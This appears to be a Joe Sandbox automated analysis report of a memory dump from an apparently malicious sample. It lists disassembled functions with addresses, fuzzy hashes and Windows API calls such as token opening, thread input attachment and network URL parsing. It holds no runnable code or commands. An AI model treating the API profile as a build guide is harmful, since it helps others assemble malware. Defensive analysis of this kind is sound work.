Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 52953ab7cbdba97d8becbde3c95e274bd5bda5925ae462d91c52fcdd022090db
Instruction ID: 5bdf0af090ea75232d0ee7f184f875d95bdc5be844903ee426fb12e36caa8621
Opcode Fuzzy Hash: 52953ab7cbdba97d8becbde3c95e274bd5bda5925ae462d91c52fcdd022090db
Instruction Fuzzy Hash: 5CF0BE32004229BBDB123F54FC0DFDE3F68AF05361F144110FA11210E287760964CF95

Function 0028A37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0028A399
GetWindowThreadProcessId.USER32(?,00000000), ref: 0028A3AC
GetCurrentThreadId.KERNEL32(00000000), ref: 0028A3B3
AttachThreadInput.USER32(00000000), ref: 0028A3BA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 82be72096287c4efc3cb5f2a79a98a53217386c411261d1295b0bbc1fdc9f580
Instruction ID: c210afa5b3adc6b9acfb1debac8511600f806f354da4d57b75fb5ed1193a07ad
Opcode Fuzzy Hash: 82be72096287c4efc3cb5f2a79a98a53217386c411261d1295b0bbc1fdc9f580
Instruction Fuzzy Hash: 43E06D31542328BAEB202FA2ED0CFD73F1CEF167A1F008125F909840A0CA71D560CBA0

Function 00232218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00232231
SetTextColor.GDI32(?,000000FF), ref: 0023223B
SetBkMode.GDI32(?,00000001), ref: 00232250
GetStockObject.GDI32(00000005), ref: 00232258
GetWindowDC.USER32(?), ref: 0026C0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 0026C0E0
GetPixel.GDI32(00000000,?,00000000), ref: 0026C0F9
GetPixel.GDI32(00000000,00000000,?), ref: 0026C112
GetPixel.GDI32(00000000,?,?), ref: 0026C132
ReleaseDC.USER32(?,00000000), ref: 0026C13D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 2ae277d7852df76b31b6ec281db2e54f76edc9028f3429af6acdcef6bb7f9b42
Instruction ID: b94cb485c07b9f25c64ce33a3fdcd5828a1600236d4e44f8aaffc702575604b1
Opcode Fuzzy Hash: 2ae277d7852df76b31b6ec281db2e54f76edc9028f3429af6acdcef6bb7f9b42
Instruction Fuzzy Hash: 3BE06D32110245EADF615F68FD0D7E83B14EB15332F108366FAAD580E1877189D0DB11

Function 00288C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32(00000028,00000000,?,00000000,002886DD,?,?,?,0028882E), ref: 00288C63
OpenThreadToken.ADVAPI32(00000000,?,?,?,0028882E), ref: 00288C6A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,0028882E), ref: 00288C77
OpenProcessToken.ADVAPI32(00000000,?,?,?,0028882E), ref: 00288C7E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: c46e16e6f5b4c61add61eed6c91cc43bfe46222ba359fead8fe11d729116547f
Instruction ID: 967c0f88bc41150fee6179a8d017d8037200b04ec5636f5d45027a8338bd9185
Opcode Fuzzy Hash: c46e16e6f5b4c61add61eed6c91cc43bfe46222ba359fead8fe11d729116547f
Instruction Fuzzy Hash: 06E08636646211EBD7606FB07F0CB563BACEF54792F048928B645C9094DA348441CB61

Function 00272187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00272187
GetDC.USER32(00000000), ref: 00272191
GetDeviceCaps.GDI32(00000000,0000000C), ref: 002721B1
ReleaseDC.USER32(?), ref: 002721D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 892d9b73e9048e9d53628b42bab8a3a8c5ad3d07484e86cc8181e6ae1917959a
Instruction ID: 0f1aa45a9f11dacc0e6b6a3fe7cb939c718268ed49502afe18d424d52eaf90e9
Opcode Fuzzy Hash: 892d9b73e9048e9d53628b42bab8a3a8c5ad3d07484e86cc8181e6ae1917959a
Instruction Fuzzy Hash: 04E01AB5820204EFDB419F60ED0CAAD7BF9FB4C350F208525FDAAA7220CB7881519F40

Function 0027219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0027219B
GetDC.USER32(00000000), ref: 002721A5
GetDeviceCaps.GDI32(00000000,0000000C), ref: 002721B1
ReleaseDC.USER32(?), ref: 002721D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 79ccbcee73d58559b661567a71a818e18ae027af1cb0bba2ab380c9ef3586cf2
Instruction ID: b7bac3210410ecf2592add687029364e7048cbc5bc0840063d7b99a66ae58d19
Opcode Fuzzy Hash: 79ccbcee73d58559b661567a71a818e18ae027af1cb0bba2ab380c9ef3586cf2
Instruction Fuzzy Hash: 5FE01AB5810204AFCB419F70ED0C69D7BF9EB4C310F108525FDAAA7220CB7891419F40

Function 002363A0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%,, xrefs: 002363AE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: %,
API String ID: 0-1041901720
Opcode ID: 9561b3450693ca22b558cd54a8241a826423cba66998ec885a6d6a494026ae38
Instruction ID: 23b7b9dcb8717f81b6b9de9a39c46cdf382dec1c0371c5c2061e149c6a13fad5
Opcode Fuzzy Hash: 9561b3450693ca22b558cd54a8241a826423cba66998ec885a6d6a494026ae38
Instruction Fuzzy Hash: 30B1B2F1D2020AABCF24EF94C4899FDB7BDEF04310F548026E905A7195DB709EA6CB51

Function 002AB1B7 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 002AB2C3

Strings

xr/, xrefs: 002AB2F9
xr/, xrefs: 002AB325

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __itow_s
String ID: xr/$xr/
API String ID: 3653519197-2231005825
Opcode ID: 36b3d28d85ca172236fb470f36f30924c4ecd76420c4e93e01d2af6351b84e9f
Instruction ID: 036abdbe6c2c3dd3ab3758853eb76ead486ad7175977ecfba2fd89ea42c1dfa3
Opcode Fuzzy Hash: 36b3d28d85ca172236fb470f36f30924c4ecd76420c4e93e01d2af6351b84e9f
Instruction Fuzzy Hash: 48B1A070A10209AFDF15DF54C890EBEB7B9FF59300F14845AF9459B252DB70E961CB50

Function 0029B217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0024FEC6: _wcscpy.LIBCMT ref: 0024FEE9

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

__wcsnicmp.LIBCMT ref: 0029B298
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0029B361

Strings

LPT, xrefs: 0029B292

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 8b6a980e0d9457af43d207c478170fe3e955d9b8ea7e872a1708bdef70e0fb53
Instruction ID: 61e80f35af2c165963e5ec96e4bc41105ecb8e6dc1dd3086f7f880570a572a94
Opcode Fuzzy Hash: 8b6a980e0d9457af43d207c478170fe3e955d9b8ea7e872a1708bdef70e0fb53
Instruction Fuzzy Hash: 2061D575A20215EFCF05DF54D985EAEB7B4EF08310F004099F806AB291D770AE90CB54

Function 00278A77 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00278B1E
_memmove.LIBCMT ref: 00278B78

Strings

Oa$, xrefs: 00278BF2, 0027E39A, 0027E3B6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove
String ID: Oa$
API String ID: 4104443479-3294801368
Opcode ID: 2bd2b36a810f492884bdac11c08e3ea6d0547c699ea24ab6eb78565f0d7a7968
Instruction ID: 715315b7778026c09cb5cf912db54e544fa2e08bd56343fabcdb3bc9212b64fe
Opcode Fuzzy Hash: 2bd2b36a810f492884bdac11c08e3ea6d0547c699ea24ab6eb78565f0d7a7968
Instruction Fuzzy Hash: B6518070D1061ADFCF24CF68C484AAEBBF1FF44318F24856AE85AD7250EB70A965CB50

Function 00242AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00242AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00242AE1

Strings

@, xrefs: 00242AD5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 75dd422447297dac1c5a4fe2829eb1d6ac7655121c7b026e9530ddd871cf7e12
Instruction ID: 2fc3892c84187044556e6a14ae0146a23818a1b66984d05977098bd3143be400
Opcode Fuzzy Hash: 75dd422447297dac1c5a4fe2829eb1d6ac7655121c7b026e9530ddd871cf7e12
Instruction Fuzzy Hash: BA5177B15287449BD320AF10DC86BAFBBE8FF86314F42895DF1D9410A1DB718878CB26

Function 002999BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0023506B: __fread_nolock.LIBCMT ref: 00235089

_wcscmp.LIBCMT ref: 00299AAE
_wcscmp.LIBCMT ref: 00299AC1

Strings

FILE, xrefs: 002999FA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: b3f87ecdd953bcc4d53112145e41644b7d46af519315b4d254fe4b0ccfa3a56f
Instruction ID: 1110b1d49a51e45997a468a819eaecce792f325eef12187d90e1b3e7486c4800
Opcode Fuzzy Hash: b3f87ecdd953bcc4d53112145e41644b7d46af519315b4d254fe4b0ccfa3a56f
Instruction Fuzzy Hash: 244109B1A1061ABADF209EA4CC45FEFB7FDDF49714F00006DF904A7181DA75AA548FA1

Function 0027099E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 002709A9

Strings

Dt/, xrefs: 0023A2B1
Dt/, xrefs: 0023A477

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClearVariant
String ID: Dt/$Dt/
API String ID: 1473721057-1179379144
Opcode ID: 06aa72bf705a97deed4be2b230acb49cd3740b64dc7966e6eee25327ab16673c
Instruction ID: 3c78d56dd081af5a3de19e8dc5d2272dff8689ed9148539f8c3a21e0c46fda40
Opcode Fuzzy Hash: 06aa72bf705a97deed4be2b230acb49cd3740b64dc7966e6eee25327ab16673c
Instruction Fuzzy Hash: 105114B4628342CFC754CF18C584A2ABBF1BB99354F54886DE9858B361D371ECA5CF82

Function 002A2882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002A2892
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 002A28C8

Strings

|, xrefs: 002A2899

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 9535c2560c85cc6907186c3de330257ac7e683aba72332f31acfc9c533b0862c
Instruction ID: 756593bd6bcc8ef9474fc2cd9ecb07bc10c2a4873f66d4f04ff2801bf30e2dbe
Opcode Fuzzy Hash: 9535c2560c85cc6907186c3de330257ac7e683aba72332f31acfc9c533b0862c
Instruction Fuzzy Hash: 0F312AB182011AABCF119FA5CC85EEEBBB8FF09300F100025F815A6165DA315926DF60

Function 002B6CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 002B6D86
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 002B6DC2

Strings

static, xrefs: 002B6D22

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 29e0ad70721deb610192cba662964b437e08652e649eb212b4ecf0b0eb7cdd2b
Instruction ID: 0f27349cb5734f412646deee2245092a11ff4047310f9e430186c7df2c110006
Opcode Fuzzy Hash: 29e0ad70721deb610192cba662964b437e08652e649eb212b4ecf0b0eb7cdd2b
Instruction Fuzzy Hash: ED31CF71220205AEDB109F78CC84BFB73B8FF48760F108619F8A587190CA74ACA1DB60

Function 00292D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00292E00
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00292E3B

Strings

0, xrefs: 00292DF9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: f434f02078c302f6cf345a254df3faa9acf2ef8945ed436a91d3339121b65958
Instruction ID: e01fbb5ba2d2ced0e3d1907c1af9e145221200dafccf4d3ac120e67bacc65017
Opcode Fuzzy Hash: f434f02078c302f6cf345a254df3faa9acf2ef8945ed436a91d3339121b65958
Instruction Fuzzy Hash: DA31F731A20306FBEF258F48D8C5BAEBBB9FF05350F140029EDC5A61A0D770A968CB10

